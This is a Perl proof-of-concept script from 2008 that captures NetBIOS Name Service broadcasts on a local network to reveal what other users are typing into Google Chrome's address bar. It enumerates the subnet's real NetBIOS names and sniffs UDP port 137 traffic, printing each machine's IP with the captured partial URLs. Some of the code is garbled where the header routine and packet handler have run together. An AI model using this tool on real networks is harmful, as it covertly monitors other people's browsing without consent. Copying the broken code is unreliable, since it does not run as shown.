#!/usr/bin/perl # # Google Chrome Monitor through NetBIOS Name Service # c0ded by nitr0us # # Greets to these cool guyz on that Friday-Saturday night, at # Hkm's house + nice IDM music + some a-cup-of-coffee pills + # beers + 43 liquor mixed with colombian coffee + that geeky # binary 10101010 "blanket" jejej + pizza + that interesting # Earth documentary + that "vamos al EXS a ver viejas" from # crypkey's fsckin' mouth + a lot of crazy things... # # The idea: # Well the idea is as simple as just print the NBNS requests # from any machine except for those real NetBIOS names... # When the user is typing in Chrome's url field, the process # sends automatically a NetBIOS request to Broadcast asking # for this name, why? I don't know but this happens. # NOTE: !!! CHROME NOT ALWAYS SENDS A REQUEST TO NBNS, SOMETIMES # IT JUST RESOLVE BY SINGLE DNS AND NEVER SENDS REQUESTS TO NBNS. # REMEMBER, THIS IS JUST A PROOF OF CONCEPT, BUT COULD BE # USEFUL ;) !!! # # Remember, NBNS names are only 15 character long =(, but is # enough to catch the hint for guess the complete domain name # the user is typing. # # Chrome research by Hkm, SirDarckCat, Crypkey and Nitrous. # Using pure Mexican neurons ! # # This code by: # A. Alejandro Hernández Hdez. # nitrousenador at gmail dot com # México # Sept/2008 use Getopt::Std; use Net::Netmask; use Net::NBName; use Net::Pcap qw(:functions); use NetPacket::Ethernet qw(:strip); use NetPacket::IP; use NetPacket::UDP; use constant NETBIOS_NS_FLAGS_OFFSET => 2; use constant NETBIOS_NS_NAME_OFFSET => 13; sub hdr { print <decode(eth_strip($packet)); $udp = NetPacket::UDP->decode($ip->{data}) if $ip_obj->{proto} == IP_PROTO_UDP; $nbns = $udp->{data}; $flags = substr($nbns, NETBIOS_NS_FLAGS_OFFSET, 2); if(vec($flags, 0, 16) & 0x8000 || vec($flags, 0, 16) == 0x0000){ return; } $netbios_name_encoded = substr($nbns, NETBIOS_NS_NAME_OFFSET, 32); $netbios_name = decode_nbns_name($netbios_name_encoded); chop($netbios_name); #Delete the 0x00 byte at the end of the name $netbios_name =~ s/\s+$//; return if grep {/^$netbios_name$/} @whitelist; print "-=[ $ip->{src_ip} is typing/asking -> $netbios_name\n\n"; } # Function to decode First-level encoding acording to RFC 1001 # "PROTOCOL STANDARD FOR A NetBIOS SERVICE ON A TCP/UDP TRANSPORT: CONCEPTS AND METHODS" # ftp://ftp.rfc-editor.org/in-notes/rfc1001.txt # # by nitr0us sub decode_nbns_name { my $name = shift; my $name_hex = ""; for(unpack("C32", $name)){ $name_hex .= sprintf "%x", $_ - ord('A'); } my $decoded_name = ""; for(my $switch = 0; $switch < length($name_hex); $switch++){ if($switch % 2){ next; } $octet = substr($name_hex, $switch, 2); $decoded_name .= chr(hex($octet)); } return $decoded_name; } #### MAIN FUNCTION #### die "Usage: $0 -i [specific target ip]\n" unless @ARGV > 1; getopt("i:"); die "You need r00t privileges in order to sniff your network =)\n" unless !$>; hdr; $ip = `/sbin/ifconfig $opt_i | grep -i inet | head -1 | cut -d: -f2 | awk '{print \$1}'`; print "IP Address of $opt_i: $ip\n"; $ip =~ /(\d{1,3})\.(\d{1,3})\.(\d{1,3})\./; $subnet = "$1.$2.$3.0/24"; print "Scanning for NetBIOS names in your local network ($subnet)\n"; print "that will be avoided in subsequent chrome's requests\n"; print "Be patient !\n"; print "_______________________________________________________\n"; print "IP Address \tMAC Address\t\tNetBIOS Name\n"; print "_______________________________________________________\n"; $nb = Net::NBName->new; $subnet_scan = Net::Netmask->new2($subnet); for($subnet_scan->enumerate){ $nbstatus = $nb->node_status($_); if($nbstatus){ printf "%-15s\t", $_; print $nbstatus->mac_address . "\t"; for($nbstatus->names){ if($_->suffix == 0 && $_->G eq "UNIQUE"){ push @whitelist, $_->name and print $_->name unless $_->name =~ /^IS~/; } } print "\n"; } } print "_______________________________________________________\n\n"; print "[*] Ready !. Now ( (( sniffing )) ) for Chrome's requests ;)\n\n"; push @whitelist, "NEW-TAB"; # Automatic request when user opens a new tab in the browser ##### PCAP ##### (pcap_lookupnet($opt_i, \$ip, \$netmask, \$err) == 0) or die "Can't Lookup net on $opt_i: $err\n"; $pcap = open_live($opt_i, 1024, 1, 0, \$err) or die("Can't open device $opt_i: $err\n"); (pcap_compile($pcap, \$filter, "udp port 137" . ($ARGV[0] ? " and src $ARGV[0]" : ""), 1, $netmask) == 0) or die("Can't compile pcap filter\n"); setfilter($pcap, $filter); loop($pcap, -1, \&packet_analysis, undef); close($pcap); ##### PCAP #####